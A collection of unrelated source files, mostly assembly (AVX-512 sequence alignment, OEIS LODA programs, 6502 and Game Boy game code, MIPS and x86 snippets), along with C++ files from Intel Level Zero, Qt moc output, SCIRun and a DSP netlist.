alignment_offset_parameters] mov ax, [rax + parameters_offset_missmatch] vpbroadcastw constant_missmatch_zmm, eax ; Broadcastear el valor de match, a nivel word, en el registro mov rax, [rdi + alignment_offset_parameters] mov ax, [rax + parameters_offset_match] vpbroadcastw constant_match_zmm, eax ; Máscara de ceros vpxorq zeroes_zmm, zeroes_zmm, zeroes_zmm ;------------------------------------------------------------------ ; Carga de las mascaras ------------------------------------------- vmovdqu16 str_reverse_mask_zmm, [str_reverse_mask] vmovdqu8 str_512_unpacklo_epi8_mask_zmm, [str_512_unpacklo_epi8_mask] vmovdqu16 score_512_rot_right_word_mask_zmm, [score_512_rot_right_word_mask] ;------------------------------------------------------------------ ; Casos base ------------------------------------------------------ push rdi call inicializar_casos_base ; Loop principal -------------------------------------------------- mov rbx, 0 ; i .loop_i: ; Calcular offset_y mov rax, rbx mul width shl rax, vector_len_log mov rsi, rax ; rsi = offset_y mov rdi, rbx ; rdi = i call leer_secuencia_columna vmovdqu16 diag1_zmm, [score_matrix + 2*rsi] vmovdqu16 diag2_zmm, [score_matrix + 2*rsi + 2*vector_len] mov rcx, 2 ; j push rbx .loop_j: push rcx mov rdi, rcx call leer_secuencia_fila pop rcx mov rdx, rcx shl rdx, vector_len_log ; rdx = offset_x push rsi push rcx sub rsp, 8 mov rdi, rcx ; rdi = j call calcular_scores add rsp, 8 pop rcx pop rsi ; Guardar en cada posicion de la diagonal el maximo entre los puntajes de venir por izquierda, arriba y diagonalmente vpmaxsw diag_score_zmm, diag_score_zmm, up_score_zmm vpmaxsw diag_score_zmm, diag_score_zmm, left_score_zmm ; Almacenamos el puntaje máximo en la posición correcta de la matriz mov rax, rsi add rax, rdx vmovdqu16 [score_matrix + 2*rax], diag_score_zmm cmp rcx, vector_len jl .menor pextrw eax, diag_score_xmm, 0b0000 mov [v_aux + 2*rcx - 2*vector_len], ax .menor: vmovdqu16 diag1_zmm, diag2_zmm vmovdqu16 diag2_zmm, diag_score_zmm inc rcx cmp rcx, width jne .loop_j pop rbx inc rbx cmp rbx, height jne .loop_i ; Restaurar *alignment luego de que el algoritmo termina pop rdi .debug:; Utilizar para debuggear los valores en la matriz de puntajes pop rsi cmp rsi, 0 je .no_debug mov [rdi + alignment_offset_matrix], score_matrix .no_debug: ; Recuperar los 2 strings del mejor alineamiento utilizando backtracking, empezando desde la posicion inferior derecha push rsi push score_matrix mov rsi, rdi mov rdi, score_matrix mov rdx, vector_len mov rcx, seq1_len dec rcx mov r8, seq2_len dec r8 mov r9, 0 ; false push 0 ; false push get_score_SSE call backtracking_C add rsp, 0x10 pop score_matrix pop rsi cmp rsi, 0 jne .epilogo mov rdi, score_matrix call free ;------------------------------------------------------------------ ; epilogo .epilogo: pop r15 pop r14 pop r13 pop r12 pop rbx pop rbp ret .malloc_error: mov rdi, malloc_error_str mov rax, 0 call printf jmp .epilogo
/* * Copyright (C) 2019-2020 Intel Corporation * * SPDX-License-Identifier: MIT * */ #include "level_zero/core/source/fence.h" #include "shared/source/command_stream/command_stream_receiver.h" #include "shared/source/memory_manager/memory_constants.h" #include "shared/source/memory_manager/memory_manager.h" #include "shared/source/utilities/cpuintrinsics.h" #include "hw_helpers.h" namespace L0 { struct FenceImp : public Fence { FenceImp(CommandQueueImp *cmdQueueImp) : cmdQueue(cmdQueueImp) {} ~FenceImp() override { cmdQueue->getDevice()->getDriverHandle()->getMemoryManager()->freeGraphicsMemory(allocation); allocation = nullptr; } ze_result_t destroy() override { delete this; return ZE_RESULT_SUCCESS; } ze_result_t hostSynchronize(uint32_t timeout) override; ze_result_t queryStatus() override { auto csr = cmdQueue->getCsr(); if (csr) { csr->downloadAllocation(*allocation); } auto hostAddr = static_cast<uint64_t *>(allocation->getUnderlyingBuffer()); return *hostAddr == Fence::STATE_CLEARED ? ZE_RESULT_NOT_READY : ZE_RESULT_SUCCESS; } ze_result_t reset() override; static Fence *fromHandle(ze_fence_handle_t handle) { return static_cast<Fence *>(handle); } inline ze_fence_handle_t toHandle() { return this; } bool initialize(); protected: CommandQueueImp *cmdQueue; }; Fence *Fence::create(CommandQueueImp *cmdQueue, const ze_fence_desc_t *desc) { auto fence = new FenceImp(cmdQueue); UNRECOVERABLE_IF(fence == nullptr); fence->initialize(); return fence; } bool FenceImp::initialize() { NEO::AllocationProperties properties( cmdQueue->getDevice()->getRootDeviceIndex(), MemoryConstants::cacheLineSize, NEO::GraphicsAllocation::AllocationType::BUFFER_HOST_MEMORY); properties.alignment = MemoryConstants::cacheLineSize; allocation = cmdQueue->getDevice()->getDriverHandle()->getMemoryManager()->allocateGraphicsMemoryWithProperties(properties); UNRECOVERABLE_IF(allocation == nullptr); reset(); return true; } ze_result_t FenceImp::reset() { auto hostAddress = static_cast<uint64_t *>(allocation->getUnderlyingBuffer()); *(hostAddress) = Fence::STATE_CLEARED; NEO::CpuIntrinsics::clFlush(hostAddress); return ZE_RESULT_SUCCESS; } ze_result_t FenceImp::hostSynchronize(uint32_t timeout) { std::chrono::high_resolution_clock::time_point time1, time2; int64_t timeDiff = 0; ze_result_t ret = ZE_RESULT_NOT_READY; if (cmdQueue->getCsr()->getType() == NEO::CommandStreamReceiverType::CSR_AUB) { return ZE_RESULT_SUCCESS; } waitForTaskCountWithKmdNotifyFallbackHelper(cmdQueue->getCsr(), cmdQueue->getTaskCount(), 0, false, false); if (timeout == 0) { return queryStatus(); } time1 = std::chrono::high_resolution_clock::now(); while (timeDiff < timeout) { ret = queryStatus(); if (ret == ZE_RESULT_SUCCESS) { return ZE_RESULT_SUCCESS; } std::this_thread::yield(); NEO::CpuIntrinsics::pause(); if (timeout == std::numeric_limits<uint32_t>::max()) { continue; } time2 = std::chrono::high_resolution_clock::now(); timeDiff = std::chrono::duration_cast<std::chrono::nanoseconds>(time2 - time1).count(); } return ret; } } // namespace L0
; A166925: Digital root of square of n-th triangular number. ; 1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9,1,9,9 mod $0,3 pow $1,$0 gcd $1,9
; A139245: a(n) = 20*n - 16. ; 4,24,44,64,84,104,124,144,164,184,204,224,244,264,284,304,324,344,364,384,404,424,444,464,484,504,524,544,564,584,604,624,644,664,684,704,724,744,764,784,804,824,844,864,884,904,924,944,964,984,1004,1024,1044,1064,1084,1104,1124,1144,1164,1184,1204,1224,1244,1264,1284,1304,1324,1344,1364,1384,1404,1424,1444,1464,1484,1504,1524,1544,1564,1584,1604,1624,1644,1664,1684,1704,1724,1744,1764,1784,1804,1824,1844,1864,1884,1904,1924,1944,1964,1984 mul $0,20 add $0,4
; char *stpcpy(char * restrict s1, const char * restrict s2) SECTION code_clib SECTION code_string PUBLIC stpcpy_callee EXTERN asm_stpcpy stpcpy_callee: pop bc pop hl pop de push bc jp asm_stpcpy ; SDCC bridge for Classic IF __CLASSIC PUBLIC _stpcpy_callee defc _stpcpy_callee = stpcpy_callee ENDIF
incasm "macroMath.asm" num_enemies byte 0 ; Whether this enemy exists enemy_exists dcb 10,0 ; The theta is from 0 to $a0 enemy_theta dcb 10,0 ; The radius from -127 to +127 enemy_radius dcb 10,0 ; Equivalent x & y locations, maybe. enemy_x dcw 10,0 enemy_y dcw 10,0 ; Enumeration of enemy types NONE=0 SQUARE_BLOCK=1 PYRAMID_BLOCK=2 TANK_ENEMY=3 UFO_ENEMY=4 TRIANGULAR_TANK_ENEMY=5 enemy_type dcb 10,0 ; Health level of each enemy enemy_health dcb 10,0 ;; Create a random # of enemies and populate the arrays ;; Inputs: none ;; Outputs: none ;; Side effects: destroys a, x, y create_enemies ; pick a random number ldx #12 ; decided by fair dice roll stx num_enemies ldx #0 create_enemy lda #1 sta enemy_exists,x RND sta enemy_health,x ; pick a radius RND ;txa ;asl ;asl ;asl ;asl ;asl ; * 32 sta enemy_radius,x RND ; Change to a random number between 0 and 3 and #3 clc adc #1 ; now 1-4...ignore type 5 for now. sta enemy_type,x ; pick theta RND ;txa ;asl ;asl ;asl ;asl ; * 16 ; can only go from 0 to 160, so if it's too big, truncate cmp #161 blt store_theta sec sbc #160 store_theta sta enemy_theta,x inx cpx num_enemies bne create_enemy rts ;; Plot all enemies in the polar circle ;; Inputs: none ;; Outputs: none ;; Side effects: destroys a, x, y plot_enemies lda #0 ; enemy # pha ; stack has enemy # tax next_enemy ; x must be enemy # (index) lda enemy_radius,x lsr lsr lsr lsr tay ; radius in y lda enemy_theta,x tax ; theta in x, radius in y, output in polar_result jsr polar_to_screen ; poke it in the fake radar lda #<POLAR_CENTER ; sweep_org clc adc polar_result sta polar_result lda #>POLAR_CENTER ; sweep_org adc polar_result+1 sta polar_result+1 ldy #0 ; TODO: use the enemy type for the plot ; lda #'x' pla ; a has index ; increase by 1, so we start plotting from "A" and not "@" clc adc #1 sta (polar_result),y tax ; x has index pha ; push next index onto stack cmp num_enemies bne next_enemy pla ; whoops didn't need to push it two cycles ago. rts ;; For each enemy, update their theta by (delta?) update_enemy_angles rts ;; For each enemy, update their radius by (delta) ;; 1. convert to x,y ;; 2. mumble something ;; 3. ??? ;; 4. profit! update_enemy_radii rts far_tank1 text 100,61,'O',99,'M',100,0 far_tank2 text 'M',99,99,99,99,'N',0 far_tank3 text ' ',99,99,99,99,0 far_tank_end byte 0 near_tank1 text ' FFO',99,99,99,'M',0 near_tank2 text 100,100,99,99,165,' M,100,100,0 near_tank3 text 'M ',99,99,99,99,99,99,99,99,' N',0 near_tank4 text ' M N',0 near_tank5 text ' ',99,99,99,99,99,99,99,99,0 near_tank_end byte 0
; A211774: Number of rooted 2-regular labeled graphs on n nodes. ; Submitted by Christian Krause ; 0,0,0,3,12,60,420,3255,28056,270144,2868840,33293205,419329020,5697423732,83069039508,1293734268645,21436030749840,376516868504160,6988441065717744,136675039085498691,2809247116432575420,60543293881318183740,1365186080156105513460,32145556340070740469903,788999013135381771833352,20153147326251686479600800,534883366980480882194196600,14730328672650607779569877525,420371808111113080816817237196,12416297491716126706403576152884,379133939686035075368224362670020,11955606195709171618372625972898765 mov $2,$0 lpb $0 sub $0,1 mov $1,$4 mul $1,$0 mul $2,$0 div $3,2 mov $4,$2 add $2,$3 mov $3,$1 lpe mov $0,$2
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/ozone/platform/dri/dri_window_delegate_manager.h" #include "ui/ozone/platform/dri/dri_window_delegate.h" namespace ui { DriWindowDelegateManager::DriWindowDelegateManager() { } DriWindowDelegateManager::~DriWindowDelegateManager() { DCHECK(delegate_map_.empty()); } void DriWindowDelegateManager::AddWindowDelegate( gfx::AcceleratedWidget widget, scoped_ptr<DriWindowDelegate> delegate) { std::pair<WidgetToDelegateMap::iterator, bool> result = delegate_map_.add(widget, delegate.Pass()); DCHECK(result.second) << "Delegate already added."; } scoped_ptr<DriWindowDelegate> DriWindowDelegateManager::RemoveWindowDelegate( gfx::AcceleratedWidget widget) { scoped_ptr<DriWindowDelegate> delegate = delegate_map_.take_and_erase(widget); DCHECK(delegate) << "Attempting to remove non-existing delegate for " << widget; return delegate.Pass(); } DriWindowDelegate* DriWindowDelegateManager::GetWindowDelegate( gfx::AcceleratedWidget widget) { WidgetToDelegateMap::iterator it = delegate_map_.find(widget); if (it != delegate_map_.end()) return it->second; NOTREACHED() << "Attempting to get non-existing delegate for " << widget; return NULL; } bool DriWindowDelegateManager::HasWindowDelegate( gfx::AcceleratedWidget widget) { return delegate_map_.find(widget) != delegate_map_.end(); } } // namespace ui
; A048740: Product of divisors of n-th composite number. ; 8,36,64,27,100,1728,196,225,1024,5832,8000,441,484,331776,125,676,729,21952,810000,32768,1089,1156,1225,10077696,1444,1521,2560000,3111696,85184,91125,2116,254803968,343,125000,2601,140608,8503056,3025,9834496,3249,3364,46656000000,3844,250047,2097152,4225,18974736,314432,4761,24010000,139314069504,5476,421875,438976,5929,37015056,3276800000,59049,6724,351298031616,7225,7396,7569,59969536,531441000000,8281,778688,8649,8836,9025,782757789696,941192,970299,1000000000,108243216,116985856,121550625 seq $0,72668 ; Numbers one less than composite numbers. seq $0,324502 ; a(n) = denominator of Sum_{d|n} (1/pod(d)) where pod(k) = the product of the divisors of k (A007955).
; L0903.asm ; Generated 01.03.1980 by mlevel ; Modified 01.03.1980 by Abe Pralle INCLUDE "Source/Defs.inc" INCLUDE "Source/Levels.inc" ;--------------------------------------------------------------------- SECTION "Level0903Section",ROMX ;--------------------------------------------------------------------- L0903_Contents:: DW L0903_Load DW L0903_Init DW L0903_Check DW L0903_Map ;--------------------------------------------------------------------- ; Load ;--------------------------------------------------------------------- L0903_Load: DW ((L0903_LoadFinished - L0903_Load2)) ;size L0903_Load2: call ParseMap ret L0903_LoadFinished: ;--------------------------------------------------------------------- ; Map ;--------------------------------------------------------------------- L0903_Map: INCBIN "Data/Levels/L0903_cornville.lvl" ;--------------------------------------------------------------------- ; Init ;--------------------------------------------------------------------- L0903_Init: DW ((L0903_InitFinished - L0903_Init2)) ;size L0903_Init2: ret L0903_InitFinished: ;--------------------------------------------------------------------- ; Check ;--------------------------------------------------------------------- L0903_Check: DW ((L0903_CheckFinished - L0903_Check2)) ;size L0903_Check2: ret L0903_CheckFinished: PRINT "0903 Script Sizes (Load/Init/Check) (of $500): " PRINT (L0903_LoadFinished - L0903_Load2) PRINT " / " PRINT (L0903_InitFinished - L0903_Init2) PRINT " / " PRINT (L0903_CheckFinished - L0903_Check2) PRINT "\n"
/**************************************************************************** ** Meta object code from reading C++ file 'formempresas.h' ** ** Created by: The Qt Meta Object Compiler version 67 (Qt 5.5.1) ** ** WARNING! All changes made in this file will be lost! *****************************************************************************/ #include "../../../optimus-business/empresas/formempresas.h" #include <QtCore/qbytearray.h> #include <QtCore/qmetatype.h> #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'formempresas.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 67 #error "This file was generated using the moc from 5.5.1. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE struct qt_meta_stringdata_ThreadAddress_t { QByteArrayData data[3]; char stringdata0[27]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_ThreadAddress_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_ThreadAddress_t qt_meta_stringdata_ThreadAddress = { { QT_MOC_LITERAL(0, 0, 13), // "ThreadAddress" QT_MOC_LITERAL(1, 14, 11), // "resultReday" QT_MOC_LITERAL(2, 26, 0) // "" }, "ThreadAddress\0resultReday\0" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_ThreadAddress[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 1, 14, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 1, // signalCount // signals: name, argc, parameters, tag, flags 1, 0, 19, 2, 0x06 /* Public */, // signals: parameters QMetaType::Void, 0 // eod }; void ThreadAddress::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { ThreadAddress *_t = static_cast<ThreadAddress *>(_o); Q_UNUSED(_t) switch (_id) { case 0: _t->resultReday(); break; default: ; } } else if (_c == QMetaObject::IndexOfMethod) { int *result = reinterpret_cast<int *>(_a[0]); void **func = reinterpret_cast<void **>(_a[1]); { typedef void (ThreadAddress::*_t)(); if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&ThreadAddress::resultReday)) { *result = 0; } } } Q_UNUSED(_a); } const QMetaObject ThreadAddress::staticMetaObject = { { &QThread::staticMetaObject, qt_meta_stringdata_ThreadAddress.data, qt_meta_data_ThreadAddress, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *ThreadAddress::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *ThreadAddress::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_ThreadAddress.stringdata0)) return static_cast<void*>(const_cast< ThreadAddress*>(this)); return QThread::qt_metacast(_clname); } int ThreadAddress::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = QThread::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 1) qt_static_metacall(this, _c, _id, _a); _id -= 1; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 1) *reinterpret_cast<int*>(_a[0]) = -1; _id -= 1; } return _id; } // SIGNAL 0 void ThreadAddress::resultReday() { QMetaObject::activate(this, &staticMetaObject, 0, Q_NULLPTR); } struct qt_meta_stringdata_FormEmpresas_t { QByteArrayData data[4]; char stringdata0[36]; }; #define QT_MOC_LITERAL(idx, ofs, len) \ Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ qptrdiff(offsetof(qt_meta_stringdata_FormEmpresas_t, stringdata0) + ofs \ - idx * sizeof(QByteArrayData)) \ ) static const qt_meta_stringdata_FormEmpresas_t qt_meta_stringdata_FormEmpresas = { { QT_MOC_LITERAL(0, 0, 12), // "FormEmpresas" QT_MOC_LITERAL(1, 13, 10), // "addEmpresa" QT_MOC_LITERAL(2, 24, 0), // "" QT_MOC_LITERAL(3, 25, 10) // "getAddress" }, "FormEmpresas\0addEmpresa\0\0getAddress" }; #undef QT_MOC_LITERAL static const uint qt_meta_data_FormEmpresas[] = { // content: 7, // revision 0, // classname 0, 0, // classinfo 2, 14, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount // slots: name, argc, parameters, tag, flags 1, 0, 24, 2, 0x0a /* Public */, 3, 0, 25, 2, 0x0a /* Public */, // slots: parameters QMetaType::Void, QMetaType::Void, 0 // eod }; void FormEmpresas::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { if (_c == QMetaObject::InvokeMetaMethod) { FormEmpresas *_t = static_cast<FormEmpresas *>(_o); Q_UNUSED(_t) switch (_id) { case 0: _t->addEmpresa(); break; case 1: _t->getAddress(); break; default: ; } } Q_UNUSED(_a); } const QMetaObject FormEmpresas::staticMetaObject = { { &QDialog::staticMetaObject, qt_meta_stringdata_FormEmpresas.data, qt_meta_data_FormEmpresas, qt_static_metacall, Q_NULLPTR, Q_NULLPTR} }; const QMetaObject *FormEmpresas::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; } void *FormEmpresas::qt_metacast(const char *_clname) { if (!_clname) return Q_NULLPTR; if (!strcmp(_clname, qt_meta_stringdata_FormEmpresas.stringdata0)) return static_cast<void*>(const_cast< FormEmpresas*>(this)); return QDialog::qt_metacast(_clname); } int FormEmpresas::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = QDialog::qt_metacall(_c, _id, _a); if (_id < 0) return _id; if (_c == QMetaObject::InvokeMetaMethod) { if (_id < 2) qt_static_metacall(this, _c, _id, _a); _id -= 2; } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { if (_id < 2) *reinterpret_cast<int*>(_a[0]) = -1; _id -= 2; } return _id; } QT_END_MOC_NAMESPACE
; A079001: Digital equivalents of letters A, B, C, ..., Z on touch-tone telephone keypad. ; 2,2,2,3,3,3,4,4,4,5,5,5,6,6,6,7,7,7,7,8,8,8,9,9,9,9 add $0,4 lpb $0 trn $0,3 mov $2,$1 trn $2,6 add $0,$2 add $1,1 lpe mov $0,$1
;start=0x3000 #include ../registers.inc #include ../init.asm #include ../isr.asm #include ../utilities.asm org $3000 bset DDRB,$FF ; set port b for output bset DDRJ,$02 ; enable leds bclr PTJ,$02 bset DDRP,$FF ; set off 7 seg display lds #STACK movb #$FF,PORTB swi ;test ;from dbug12 import Debugger ;import os ;print(os.getcwd()) ;debugger = Debugger() ;debugger.load(open("asm/bin/leds_test.s19", "r").read()) ;debugger.run(0x3000)
/* For more information, please see: http://software.sci.utah.edu The MIT License Copyright (c) 2015 Scientific Computing and Imaging Institute, University of Utah. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <Modules/Math/BasicPlotter.h> #include <Core/Datatypes/DenseMatrix.h> #include <Core/Datatypes/Color.h> #include <Core/Datatypes/MatrixTypeConversions.h> #include <Core/Algorithms/Base/AlgorithmVariableNames.h> using namespace SCIRun::Modules::Math; using namespace SCIRun::Dataflow::Networks; using namespace SCIRun::Core::Datatypes; using namespace SCIRun::Core::Algorithms; using namespace SCIRun::Core::Algorithms::Math; MODULE_INFO_DEF(BasicPlotter, Math, SCIRun) ALGORITHM_PARAMETER_DEF(Math, PlotTitle); ALGORITHM_PARAMETER_DEF(Math, DataTitle); ALGORITHM_PARAMETER_DEF(Math, XAxisLabel); ALGORITHM_PARAMETER_DEF(Math, YAxisLabel); ALGORITHM_PARAMETER_DEF(Math, VerticalAxisVisible); ALGORITHM_PARAMETER_DEF(Math, HorizontalAxisVisible); ALGORITHM_PARAMETER_DEF(Math, VerticalAxisPosition); ALGORITHM_PARAMETER_DEF(Math, HorizontalAxisPosition); ALGORITHM_PARAMETER_DEF(Math, ShowPointSymbols); ALGORITHM_PARAMETER_DEF(Math, PlotColors); ALGORITHM_PARAMETER_DEF(Math, PlotBackgroundColor); ALGORITHM_PARAMETER_DEF(Math, CurveStyle); ALGORITHM_PARAMETER_DEF(Math, TransposeData); BasicPlotter::BasicPlotter() : Module(staticInfo_) { INITIALIZE_PORT(InputMatrix); } void BasicPlotter::setStateDefaults() { auto state = get_state(); state->setValue(Parameters::PlotTitle, std::string("Plot title")); state->setValue(Parameters::DataTitle, std::string("Data title")); state->setValue(Parameters::XAxisLabel, std::string("x axis")); state->setValue(Parameters::YAxisLabel, std::string("y axis")); state->setValue(Parameters::VerticalAxisVisible, true); state->setValue(Parameters::HorizontalAxisVisible, true); state->setValue(Parameters::VerticalAxisPosition, 0.0); state->setValue(Parameters::HorizontalAxisPosition, 0.0); state->setValue(Parameters::ShowPointSymbols, true); state->setValue(Parameters::PlotBackgroundColor, std::string()); state->setValue(Parameters::CurveStyle, std::string("Lines")); state->setValue(Parameters::TransposeData, false); auto colors = makeAnonymousVariableList( ColorRGB(0x27213c).toString(), ColorRGB(0x5A352A).toString(), ColorRGB(0xA33B20).toString(), ColorRGB(0xA47963).toString(), ColorRGB(0xA6A57A).toString() ); state->setValue(Parameters::PlotColors, colors); } void BasicPlotter::execute() { auto basicInput = getRequiredInput(InputMatrix); if (needToExecute()) { if (!basicInput || basicInput->empty()) { error("Empty basic matrix input."); return; } get_state()->setTransientValue(Variables::InputMatrix, basicInput); } }
global _start section .text _start: mov al, 0x1 sub al, 0x3 jns exit_ten mov rax, 60 mov rdi, 0 syscall exit_ten: mov rax, 60 mov rdi, 10 syscall section .data
ori $1,$0,0x1919 jal loop1 sw $1,-0x300c($31) loop1: jal loop2 ori $2,$0,0x928e loop2: sw $2,-0x3010($31) jal loop3 sw $31,8($0) loop3: jal loop4 nop loop4: sw $31,12($0)
def main(a0:i8, c0:i8, e0:i8, g0:i8, i0:i8, a1:i8, c1:i8, e1:i8, g1:i8, i1:i8, a2:i8, c2:i8, e2:i8, g2:i8, i2:i8, a3:i8, c3:i8, e3:i8, g3:i8, i3:i8, a4:i8, c4:i8, e4:i8, g4:i8, i4:i8, a5:i8, c5:i8, e5:i8, g5:i8, i5:i8, a6:i8, c6:i8, e6:i8, g6:i8, i6:i8, a7:i8, c7:i8, e7:i8, g7:i8, i7:i8, a8:i8, c8:i8, e8:i8, g8:i8, i8:i8, b0:i8, d0:i8, f0:i8, h0:i8, j0:i8, b1:i8, d1:i8, f1:i8, h1:i8, j1:i8, b2:i8, d2:i8, f2:i8, h2:i8, j2:i8, b3:i8, d3:i8, f3:i8, h3:i8, j3:i8, b4:i8, d4:i8, f4:i8, h4:i8, j4:i8, b5:i8, d5:i8, f5:i8, h5:i8, j5:i8, b6:i8, d6:i8, f6:i8, h6:i8, j6:i8, b7:i8, d7:i8, f7:i8, h7:i8, j7:i8, b8:i8, d8:i8, f8:i8, h8:i8, j8:i8, m:i8, n:i8, o:i8, p:i8, q:i8, en:bool) -> (v:i8, w:i8, x:i8, y:i8, z:i8) { v:i8 = dmuladdrega_i8i8(a8, b8, t47, en, en, en, en) @dsp(??, ??); t47:i8 = dmuladdrega_i8i8(a7, b7, t41, en, en, en, en) @dsp(??, ??); t41:i8 = dmuladdrega_i8i8(a6, b6, t35, en, en, en, en) @dsp(??, ??); t35:i8 = dmuladdrega_i8i8(a5, b5, t29, en, en, en, en) @dsp(??, ??); t29:i8 = dmuladdrega_i8i8(a4, b4, t23, en, en, en, en) @dsp(??, ??); t23:i8 = dmuladdrega_i8i8(a3, b3, t17, en, en, en, en) @dsp(??, ??); t17:i8 = dmuladdrega_i8i8(a2, b2, t11, en, en, en, en) @dsp(??, ??); t11:i8 = dmuladdrega_i8i8(a1, b1, t5, en, en, en, en) @dsp(??, ??); t5:i8 = dmuladdrega_i8i8(a0, b0, m, en, en, en, en) @dsp(??, ??); w:i8 = dmuladdrega_i8i8(c8, d8, t101, en, en, en, en) @dsp(??, ??); t101:i8 = dmuladdrega_i8i8(c7, d7, t95, en, en, en, en) @dsp(??, ??); t95:i8 = dmuladdrega_i8i8(c6, d6, t89, en, en, en, en) @dsp(??, ??); t89:i8 = dmuladdrega_i8i8(c5, d5, t83, en, en, en, en) @dsp(??, ??); t83:i8 = dmuladdrega_i8i8(c4, d4, t77, en, en, en, en) @dsp(??, ??); t77:i8 = dmuladdrega_i8i8(c3, d3, t71, en, en, en, en) @dsp(??, ??); t71:i8 = dmuladdrega_i8i8(c2, d2, t65, en, en, en, en) @dsp(??, ??); t65:i8 = dmuladdrega_i8i8(c1, d1, t59, en, en, en, en) @dsp(??, ??); t59:i8 = dmuladdrega_i8i8(c0, d0, n, en, en, en, en) @dsp(??, ??); x:i8 = dmuladdrega_i8i8(e8, f8, t155, en, en, en, en) @dsp(??, ??); t155:i8 = dmuladdrega_i8i8(e7, f7, t149, en, en, en, en) @dsp(??, ??); t149:i8 = dmuladdrega_i8i8(e6, f6, t143, en, en, en, en) @dsp(??, ??); t143:i8 = dmuladdrega_i8i8(e5, f5, t137, en, en, en, en) @dsp(??, ??); t137:i8 = dmuladdrega_i8i8(e4, f4, t131, en, en, en, en) @dsp(??, ??); t131:i8 = dmuladdrega_i8i8(e3, f3, t125, en, en, en, en) @dsp(??, ??); t125:i8 = dmuladdrega_i8i8(e2, f2, t119, en, en, en, en) @dsp(??, ??); t119:i8 = dmuladdrega_i8i8(e1, f1, t113, en, en, en, en) @dsp(??, ??); t113:i8 = dmuladdrega_i8i8(e0, f0, o, en, en, en, en) @dsp(??, ??); y:i8 = dmuladdrega_i8i8(g8, h8, t209, en, en, en, en) @dsp(??, ??); t209:i8 = dmuladdrega_i8i8(g7, h7, t203, en, en, en, en) @dsp(??, ??); t203:i8 = dmuladdrega_i8i8(g6, h6, t197, en, en, en, en) @dsp(??, ??); t197:i8 = dmuladdrega_i8i8(g5, h5, t191, en, en, en, en) @dsp(??, ??); t191:i8 = dmuladdrega_i8i8(g4, h4, t185, en, en, en, en) @dsp(??, ??); t185:i8 = dmuladdrega_i8i8(g3, h3, t179, en, en, en, en) @dsp(??, ??); t179:i8 = dmuladdrega_i8i8(g2, h2, t173, en, en, en, en) @dsp(??, ??); t173:i8 = dmuladdrega_i8i8(g1, h1, t167, en, en, en, en) @dsp(??, ??); t167:i8 = dmuladdrega_i8i8(g0, h0, p, en, en, en, en) @dsp(??, ??); z:i8 = dmuladdrega_i8i8(i8, j8, t263, en, en, en, en) @dsp(??, ??); t263:i8 = dmuladdrega_i8i8(i7, j7, t257, en, en, en, en) @dsp(??, ??); t257:i8 = dmuladdrega_i8i8(i6, j6, t251, en, en, en, en) @dsp(??, ??); t251:i8 = dmuladdrega_i8i8(i5, j5, t245, en, en, en, en) @dsp(??, ??); t245:i8 = dmuladdrega_i8i8(i4, j4, t239, en, en, en, en) @dsp(??, ??); t239:i8 = dmuladdrega_i8i8(i3, j3, t233, en, en, en, en) @dsp(??, ??); t233:i8 = dmuladdrega_i8i8(i2, j2, t227, en, en, en, en) @dsp(??, ??); t227:i8 = dmuladdrega_i8i8(i1, j1, t221, en, en, en, en) @dsp(??, ??); t221:i8 = dmuladdrega_i8i8(i0, j0, q, en, en, en, en) @dsp(??, ??); }
